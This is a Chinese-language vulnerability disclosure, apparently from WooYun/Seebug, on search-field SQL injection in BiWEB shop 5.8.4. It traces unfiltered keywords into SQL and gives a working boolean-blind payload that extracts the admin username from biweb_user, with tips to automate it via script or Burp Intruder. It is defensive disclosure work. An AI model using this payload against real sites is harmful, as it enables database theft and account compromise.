### 简要描述:
BiWEB最新商城版搜索型注入多枚
### 详细说明:
在wooyun上看到了有人提了BiWEB的一个XSS漏洞: [WooYun: BIWEB商城版XSS盲打cookie](http://www.wooyun.org/bugs/wooyun-2014-049745) ,也有人提了SQL注入,我也来找找它的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。发现BiWEB有多处搜索,都存在注入漏洞。
看看搜索处是怎么处理的。BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php
```
<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
这里就先不说这种过滤的脑残之处了。
继续往下看,BiWEB有所有搜索处都存在同样的注入问题。举一例来说。/search.php
```
无关代码
if(!empty($_REQUEST['keywords'])){
$strKeywords = strval(urldecode($_REQUEST['keywords']));
if($strKeywords[0] == '/'){
//精确查询ID
$strKeywords = substr($strKeywords,1);
if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'";
}else{
$arrKeywords = explode(' ', $strKeywords);
foreach($arrKeywords as $v){
$v = trim($v);
if(!empty($v)){
if (isset($_GET['radio'])){
$intTemp = intval($_GET['radio']);
switch($intTemp){
case 0:
$arrWhere[] = "brand LIKE '%$v%'";
$arrWhere[] = "model LIKE '%$v%'";
$arrWhere[] = "code LIKE '%$v%'";
$arrWhere[] = "title LIKE '%$v%'";
break;
case 1:
$arrWhere[] = "brand LIKE '%$v%'";
break;
case 2:
$arrWhere[] = "model LIKE '%$v%'";
break;
case 3:
$arrWhere[] = "code LIKE '%$v%'";
break;
case 4:
$arrWhere[] = "title LIKE '%$v%'";
break;
}
$arrLink[] = 'radio=' . $intTemp;
}else $arrWhere[] = "title LIKE '%$v%'";
}
}
}
$arrLink[] = 'keywords=' . urlencode($strKeywords);
}else check::AlertExit("错误:关键词必须填写!",-1);
$strWhere = '';
$strWhere = implode(' or ',$arrWhere);
$strWhere = 'where pass=1 and '.$strWhere;
$arrInfoList = $objWebInit->getInfoList($strWhere, ' ORDER BY submit_date DESC',($intPage-1)*$arrGPage['page_size'],$arrGPage['page_size'],true);
$intRows = $arrInfoList['COUNT_ROWS'];
unset($arrInfoList['COUNT_ROWS']);
无关代码
```
通过$_REQUEST来获得keywords
继续去看看getInfoList(),在/web_common5.8/php_common.php
```
function getInfoList($where='',$order='',$intStartID = 0,$intListNum = 0,$field = '*',$arrData = array(),$blCount = true,$blComplex = false){
$table = $this->tablename2;
$arrData=(empty($arrData)?array():$arrData);
$limit = '';
if($blComplex){
if($where != '') $where .= " and id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )";
else $where = " where id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )";
}
if (!empty($order)) {
$limit .= $order;
}
if (!empty($intListNum)) $limit .= " LIMIT " . $intStartID .','. $intListNum;
$blFetch = false;
if($field === true) {
unset($this->arrGPdoDB['db_table_field']['structon_tb']);
$field = implode(',',array_keys($this->arrGPdoDB['db_table_field']));
}
$arrData = $this->selectDataG($table,$where,$limit,$field,$blFetch,$arrData,$blCount);
if(isset($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData);
return $arrData;
}
```
然后调用同一文件中的electDataG()
```
function selectDataG($table,$where = '',$limit = '',$field = '*',$blFetch = false,$arrData = array(),$blCount = false,$blComplex = false ){
try {
//$strSQL = "SELECT SQL_CALC_FOUND_ROWS $field from $table $where"; 效率低下,在MYSQL版本未改进之前弃用
$strSQL = "SELECT $field from $table $where $limit";
if($this->arrGPdoDB['PDO_CACHE']) {
$strCacheName = md5($strSQL);
$strCacheDir = '';
for($i=0;$i<32;$i+=2){
$strCacheDir .= '/'.$strCacheName[$i].$strCacheName[$i+1];
}
$strCacheName = $strCacheDir.'SQL_'.$table.'_'.$strCacheName;
$strCacheFile = $this->arrGPdoDB['PDO_CACHE_ROOT'].'/'.$strCacheName;
$objCache = new cache($strCacheFile,$this->arrGPdoDB['PDO_CACHE_LIFETIME']);
if($this->arrGPdoDB['PDO_CACHE']==1) {
if($objCache->cache_is_active()) {
include($strCacheFile);
if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS'];
else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS'];
return $arr;
}
}
}
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'
';
$rs = $this->db->prepare($strSQL);
$rs->execute($arrData);
if($blFetch) $arr = $rs->fetch();
else $arr = $rs->fetchAll();
$rs = '';
if($blCount){
//$strSQL = "SELECT FOUND_ROWS()"; 配合SQL_CALC_FOUND_ROWS使用的
//$strSQL = "SELECT count(DISTINCT id) from $table $where";
if(!$blComplex){
$strSQL = "SELECT count(*) as num from $table $where";
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'
';
$rs = $this->db->query($strSQL);
if(strpos($where,'GROUP') || strpos($where,'group')){
$arrTemp = $rs->fetchAll();
$arr['COUNT_ROWS'] = count($arrTemp);
}else{
$arrTemp = $rs->fetch();
$arr['COUNT_ROWS'] = $arrTemp['num'];
}
}
if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS'];
else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS'];
}
if($this->arrGPdoDB['PDO_CACHE']){
if(isset($objCache)&&is_object($objCache)) {
$somecontent = '<?php' . "\n" . '$arr = ' . var_export( $arr, true ) . ';' . "\n" . '?>';
$objCache->write_file($somecontent);
}
}
return $arr;
} catch (PDOException $e) {
echo $strSQL.'
';
echo 'Failed: ' . $e->getMessage().'
';
}
}
```
在整个过程中没有对keywords进行任何过滤,当然,那个脑残的全局过滤直接就可以无视了。所以造成了注入。
本次测试是基于bool-based blind做的测试,payload如下
Payload:
```
%%'/**/and/**/mid((select/**/user_name/**/from/**/biweb_user/**/limit/**/0,1),1,1)='a'/**/and/**/'%'='
```
当biweb_user中的第一个管理员的用户名的第一个字母是’a’时,返回如下图
[<img src="https://images.seebug.org/upload/201411/11003500d1a496f50f68943b11e84543716e0e6e.jpg" alt="猜测对情况副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/11003500d1a496f50f68943b11e84543716e0e6e.jpg)
若不是’a’,则返回如下图
[<img src="https://images.seebug.org/upload/201411/110035334bbe15f638d38e346d65cf219a0ed156.jpg" alt="猜测不对情况副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/110035334bbe15f638d38e346d65cf219a0ed156.jpg)
注入成功时,SQL的执行情况如下图
[<img src="https://images.seebug.org/upload/201411/1100355423d6242cb41f3cdda0095d4f9ad59506.jpg" alt="SQL执行情况副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/1100355423d6242cb41f3cdda0095d4f9ad59506.jpg)
可以写个脚本跑,也可以使用burp的intruder来跑,根据返回内容的长度不同,就可以判断了。经测试,管理员用户名为admin。
### 漏洞证明:
见 详细说明
暂无评论